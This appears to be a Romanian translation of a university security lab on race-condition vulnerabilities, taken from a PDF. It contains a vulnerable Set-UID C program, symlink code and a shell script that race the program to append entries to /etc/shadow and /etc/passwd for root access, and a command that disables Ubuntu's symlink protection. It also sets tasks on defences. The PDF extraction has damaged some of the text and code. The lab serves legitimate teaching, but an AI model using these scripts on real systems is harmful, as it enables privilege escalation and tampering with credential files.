Laboratory for Computer Security Education 1 Vulnerabilitatea datorată concurenței Copyright 2006-2011 Wenliang Du, Syracuse University. The development of this document is/was funded by three grants from the US National Science Foundation: Awards No. 0231122 and 0618680 from TUES/CCLI and Award No. 1017771 from Trustworthy Computing. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation. A copy of the license can be found at http://www.gnu.org/licenses/fdl.html. 1 Scopul laboratorului Obiectivul acestui laborator este ca studenții să câștige experiență nemijlocită asupra vulnerabilității datorate concurenței punând în practică ce au învățat despre vulnerabilitate. Situația de concurență apare atunci când mai multe procese accesează și manipulează aceleași date concurent, iar rezultatul execuției depinde de ordinea în care are loc accesul. Dacă un program privilegiat este vulnerabil la concurență, atunci atacatorii pot executa un proces paralel care să concureze cu programul privilegiat, cu intenția de a schimba comportamentul programului. În acest laborator, studenților li se dă un program care să aibă vulnerabilitatea datorată concurenței; sarcina lor este să dezvolte o schemă de exploatare a acestei vulnerabilități și să obțină privilegii de supervizor (root). Pe lângă atacuri, studenții vor ghidați să parcurgă câteva scheme de protecție care pot folosite la contracararea atacurilor care exploatează vulnerabilitatea datorată concurenței. Studenții trebuie să evalueze dacă schemele elaborate funcționează sau nu și să explice de ce. 2 Desfășurarea laboratorului 2.1 Setarea inițială Sarcinile de laborator se pot executa pe mașinile virtuale Ubuntu pre-construite. Pentru mașina Ubuntu 9.11 VM, acest setup poate ignorat. Pentru mașinile virtuale Ubuntu 11.04 VM, trebuie să citiți cele ce urmează. Ubuntu 11.04 se livrează cu un mecanism de protecție construit în sistem care să protejeze mașina de atacurile bazate pe concurență. Schema de protecție folosită funcționează pe baza restrângerii dreptului de a urma o legătură simbolică (symlink). Potrivit documentației, legăturile simbolice în directoarele cu bitul SUID setat și care pot scrise de toți (d.e. /tmp) nu pot urmate dacă cel care dorește să urmeze legătura și proprietarul directorului nu se potrivesc cu proprietarul legăturii simbolice. În acest laborator, avem nevoie să dezactivăm aceasta protecție. Acest lucru se poate realiza folosind comanda următoare: $ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0 2.2 Un program vulnerabil Programul care urmează este în aparență un program inofensiv. Însă acesta conține o vulnerabilitate datorată concurenței. /* vulp.c */ #include <stdio.h> #include <unistd.h>
Laboratory for Computer Security Education 2 #include <string.h> #include <limits.h> #dene DELAY LONG_MAX / 100 int main() { char *fn = "/tmp/xyz"; char buffer[256]; FILE *fp; /* get user input */ scanf("%255[ˆ\n]", buffer ); if(!access(fn, W_OK)) { /* simulating delay */ for (long int i = 0; i < DELAY; i++) { long int a = iˆ2; a *= i; fp = fopen(fn, "a+"); fwrite("\n", sizeof(char), 1, fp); fwrite(buffer, sizeof(char), strlen(buffer), fp); fflush(fp); fclose(fp); return 0; else { printf("no permission \n"); fflush(stdout); return 1; Acesta este un program Set-UID (al cărui proprietar este root); programul adaugă un șir la ceea ce introduce utilizatorul la sfârșitul unui șier temporar /tmp/xyz. De vreme ce codul rulează cu privilegii de root, el verică cu grijă dacă utilizatorul real are de fapt permisiunea de acces la șierul /tmp/xyz; acesta este scopul apelului access(). O dată ce programul s-a asigurat că utilizatorul real are într-adevăr dreptul, programul deschide șierul și scrie în șier ceea ce introduce utilizatorul. La prima vedere, se pare că programul nu are nici o problemă. Totuși, există o vulnerabilitate datorată concurenței în acest program: din cauza ferestrei de timp (întârzierea simulată) dintre vericare (access) și folosire (fopen), există posibilitatea ca șierul folosit de access să e diferit de șierul folosit de fopen, chiar dacă ambele au același nume de șier /tmp/xyz. Dacă un atacator rău intenționat poate cumva să facă /tmp/xyz să e o legătura simbolică, legătură care indică spre /etc/shadow, atunci atacatorul poate face ca ceea ce introduce utilizatorul să e adăugat la /etc/shadow (observați că programul rulează cu privilegii de root și, din acest motiv, poate suprascrie orice șier). 2.3 Sarcina 1: Exploatarea vulnerabilităților datorate concurenței Trebuie să exploatați vulnerabilitatea datorată concurenței din programul Set-UID anterior. Mai clar, trebuie să realizați următoarele: 1. Să suprascrieți orice șier care aparține lui root.
Laboratory for Computer Security Education 3 2. Să obțineți privilegii de root; mai precis să puteți face orice poate face root. 2.4 Sarcina 2: Mecanismul de protecție A: Repetarea Nu e ușor să scapi de situațiile de concurență, deoarece șablonul verică-și-folosește este necesar frecvent în programe. În loc să înlăturăm situațiile de concurență, putem adăuga altele, astfel încât pentru a compromite securitatea unui program atacatorii să e nevoiți să câștige în toate aceste situații de concurență. Dacă situațiile sunt proiectate corespunzător, atunci putem reduce exponențial probabilitatea ca atacatorii să câștige. Ideea de bază este să repetăm access() și open() de câteva ori; de ecare dată când deschidem șierul și la sfârșit vericăm dacă s-a deschis același șier prin vericarea i-nodes lor (ar trebui sa e aceleași). Folosiți această strategie pentru modicarea programului vulnerabil și repetați atacul. Raportați cât de greu este să reușești dacă mai puteți reuși. 2.5 Sarcina 3: Mecanismul de protecție B: Principiul privilegiului minim Problema fundamentală a programului vulnerabil este violarea Principiului privilegiului minim. Programatorul înțelege că utilizatorul care rulează programul ar putea avea puteri prea mari, așa că el/ea a introdus apelul access() pentru a limita puterea utilizatorului. Cu toate acestea, nu aceasta este abordarea corespunzătoare. O abordare mai bună este să aplice Principiul privilegiului minim; mai precis, dacă un utilizator nu are nevoie de un anumit privilegiu, privilegiul respectiv trebuie dezactivat. Puteți folosi apelul sistem seteuid pentru a dezactiva temporar privilegiul de root și apoi să-l reactivați dacă este nevoie. Folosiți această abordare pentru a elimina vulnerabilitatea din program și apoi repetați-vă atacul. Veți putea reuși? Raportați observațiile și explicația. 2.6 Sarcina 4: Mecanismul de protecție C: Schema construită în Ubuntu Această sarcină este doar pentru Ubuntu 11.04 VM. Cum am menționat în setarea inițială Ubuntu 11.04 vine cu o schemă construită în sistem pentru protecția împotriva atacurilor bazate pe concurență. În cadrul acestei sarcini trebuie să reactivați protecția folosind comanda: $ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1 Descrieți-vă observațiile în raport și explicați următoarele: 1. De ce funcționează aceasta schemă de protecție? 2. Este o schemă bună? De ce sau de ce nu? 3. Care sunt limitările acestei scheme? 3 Ghid pentru atac 3.1 Două ținte potențiale Sunt mai multe căi de exploatare a vulnerabilității datorate concurenței în vulp.c. O cale este folosirea vulnerabilității pentru a adăuga informație atât în /etc/passwd cât și în /etc/shadow. Aceste două șiere sunt folosite de sistemele de operare Unix la autenticarea utilizatorilor. Dacă atacatorii pot adăuga informație la aceste două șiere, atunci au puterea să creeze noi utilizatori inclusiv supervizori (punând UID zero).
Laboratory for Computer Security Education 4 Fișierul /etc/passwd reprezinta baza de date de autenticare pentru o mașină Unix. Acesta conține atributele de baza ale utilizatorului. Este un șier ASCII care conține o intrare pentru ecare utilizator. Fiecare intrare denește atributele de bază aplicate utilizatorului. Atunci când se folosește comanda mkuser pentru a adăuga utilizatori la sistem, comanda actualizează șierul /etc/passwd. Fișierul /etc/passwd trebuie să poată citit de toată lumea, deoarece multe programe au nevoie să acceseze atributele utilizatorilor, atribute cum sunt: numele de utilizator, directorul de casă etc. Salvarea criptată a unei parole în acel șier ar însemna că oricine are acces la mașină ar putea folosi programe de spart parole (cum este crack) pentru a sparge conturile altora. Pentru a rezolva această problemă s-a creat șierul de parole shadow (umbră). Fișierul /etc/passwd din sistemul shadow poate citit de toți, dar nu conține parole cifrate. Un alt șier, /etc/shadow, care poate citit doar de root conține parolele. Pentru a afla ce șiruri să adaugați la aceste șiere, executați mkuser și vedeți ce se adaugă la aceste șiere. Spre exemplu, cele ce urmează arată ce s-a adăugat la aceste șiere după crearea unui nou utilizator numit smith cu parola 123456: /etc/passwd: ------------- smith:x:1001:1002:smith,added by seed,,:/home/smith:/bin/bash /etc/shadow: ------------- smith:$6$kuvicknb$vpq/p.dlbdqq4npoyfhbvmbavdt9a/9accbqx4nm2dcqqmulbpaahmuy6mhuenkpj/yz5fgzdvrx Cea de a treia coloană din șierul /etc/passwd conține UID al utilizatorului. Deoarece contul smith este un cont obișnuit, valoarea de UID 1000 nu are semnicație specială. Dacă schimbăm valoarea acestei intrări la 0, smith devine root. 3.2 Crearea legăturilor simbolice Puteți crea manual legături simbolice folosind comanda "ln -s". Puteți face asta și din C apelând funcția symlink, pentru a crea legături simbolice din program. Cum Linux nu permite cuiva să creeze o legătură care există, ea trebuie mai întâi ștearsă. Următorul fragment de cod C arată cum se șterge o legătură simbolică și apoi cum să se facă /tmp/xyz să indice spre /etc/passwd: unlink("/tmp/xyz"); symlink("/etc/passwd","/tmp/xyz"); 3.3 Îmbunătățirea ratei de succes Pasul cel mai critic (adică indicare spre șierul nostru țintă) dintr-un atac în situație de concurență trebuie să apară în fereastra dintre vericare și folosire; mai precis între apelurile access și fopen din vulp.c. Cum nu putem modica programul vulnerabil, singurul lucru pe care îl putem face este să rulăm programul nostru de atac în paralel cu programul țintă, în speranța că modicarea legăturii va avea loc în fereastra de timp critică. Din nefericire, nu putem obține o temporizare perfectă. Din acest motiv, succesul atacului este probabilistic. Probabilitatea unui atac reușit poate destul de redusă dacă fereastra este mică. Trebuie să vă gândiți cum să creșteți probabilitatea. (Sugestii: puteți rula programul vulnerabil de mai multe ori; aveți nevoie doar de un succes în aceste încercări).
Laboratory for Computer Security Education 5 Cum aveți nevoie să rulați atacurile și programul de multe ori, trebuie să scrieți un program care sa automatizeze procesul de atac. Pentru a evita să tastați manual intrarea lui vulp, puteți folosi redirectarea. Mai precis, scrieți intrarea într-un șier și apoi redirectați acest șier la rularea lui vulp. De exemplu, puteți folosi: vulp < FILE. În programul vulp.c, am adăugat intenționat parametrul DELAY. Acesta este menit sa ușureze atacul. O dată ce ați reușit în atacuri, reduceți gradual valoarea parametrului DELAY. Când DELAY ajunge la zero, cu cât mai mult vă ia să reușiți? 3.4 Cum știți dacă atacul a reușit De vreme ce utilizatorul nu are permisiunea de acces în citire la /etc/shadow, nu este vreo cale de a ști dacă a fost modicat. Singura cale de a afla o constituie mărcile de timp. De asemenea, ar mai bine dacă am opri atacul de îndată ce am adăugat intrări în respectivul șier. Scenariul următor pentru procesorul de comenzi verica dacă mărcile de timp ale lui /etc/shadow s-au schimbat. Tipărește un mesaj de îndată ce se observă o modicare. #!/bin/sh old= ls -l /etc/shadow while [ "$old" = "$new" ] do done echo "STOP... The shadow le has been changed" Pentru a putea simula execuția paralelă a programului vulnerabil și a modicărilor atacatorului puteți folosi o versiune modicată a script-ului anterior, check.sh, mai precis: #!/bin/sh usage (){ echo "Uses race condition to change user database (passwd, shadow) les" echo "Usage $0 [all shadow passwd]" exit 1 if [ -z $1 ]; then usage if [ "$1" = "all" -o "$1" = "shadow" ]; then echo smith:x:1001:1002:smith,new,,:/home/smith:/bin/bash > ADD2PASSWD echo smith:$6$kuvicknb$vpq/p.dlbdqq4npoyfhbvmbavdt9a/\ 9AcCBQx4nM2dCqQMUlBpAaHmUY6mHuenkpJ/yZ5FGZDvRx4ECRjed3L.:\ 15810:0:99999:7::: > ADD2SHADOW old= ls -l /etc/shadow echo Trying to add info to /etc/shadow line: cat ADD2SHADOW while [ "$old" = "$new" ] do sudo rm /tmp/xyz && touch /tmp/xyz echo -n../vulp < ADD2SHADOW & # put vulp in background
Laboratory for Computer Security Education 6 ln -sf /etc/shadow /tmp/xyz && sync done sudo killall vulp echo " done... The shadow le has been changed" if [ $1 = "shadow" ]; then exit 0; sleep 1 if [ "$1" = "all" -o "$1" = "passwd" ]; then echo echo Trying to add info to /etc/passwd line: cat ADD2PASSWD old= ls -l /etc/passwd new= ls -l /etc/passwd while [ "$old" = "$new" ] do sudo rm /tmp/xyz && touch /tmp/xyz echo -n../vulp < ADD2PASSWD & # put vulp in background ln -sf /etc/passwd /tmp/xyz && sync new= ls -l /etc/passwd done sudo killall vulp echo " done... The passwd le has been changed" else usage 3.5 Depanarea Pe parcursul testării programului, din cauza terminării forțate nesincronizate a programului de atac, /tmp/xyz poate ajunge într-o stare instabilă. Când se întâmplă acest lucru, SO îl face automat șier normal cu proprietar root. Dacă se întâmplă așa, șierul trebuie șters sudo rm /tmp/xyz și atacul trebuie repornit. 3.6 Alte programe shell utile Crearea executabilului vulnerabil, mkvulp.sh: #!/bin/bash gcc -std=gnu99 -o vulp vulp.c sudo chown root:root vulp sudo chmod u+s vulp Salvarea save.sh și refacerea restore.sh șierelor /etc/shadow și /etc/passwd: #!/bin/bash echo Save /etc/passwd and /etc/shadow pwd cp /etc/shadow shadow cp /etc/passwd passwd
Laboratory for Computer Security Education 7 #!/bin/bash echo Restore /etc/shadow and /etc/passwd from pwd. Delete /tmp/xyz sudo rm -f /tmp/xyz sudo cp shadow /etc/shadow sudo cp passwd /etc/passwd 3.7 Avertisment În trecut, unii studenți au golit accidental șierul /etc/shadow în timpul atacurilor (nu știm încă de ce s-a întâmplat). Dacă pierdeți șierul /etc/shadow nu mai puteți să vă logați. Pentru a evita aceasta situație, faceți o copie a șierului original.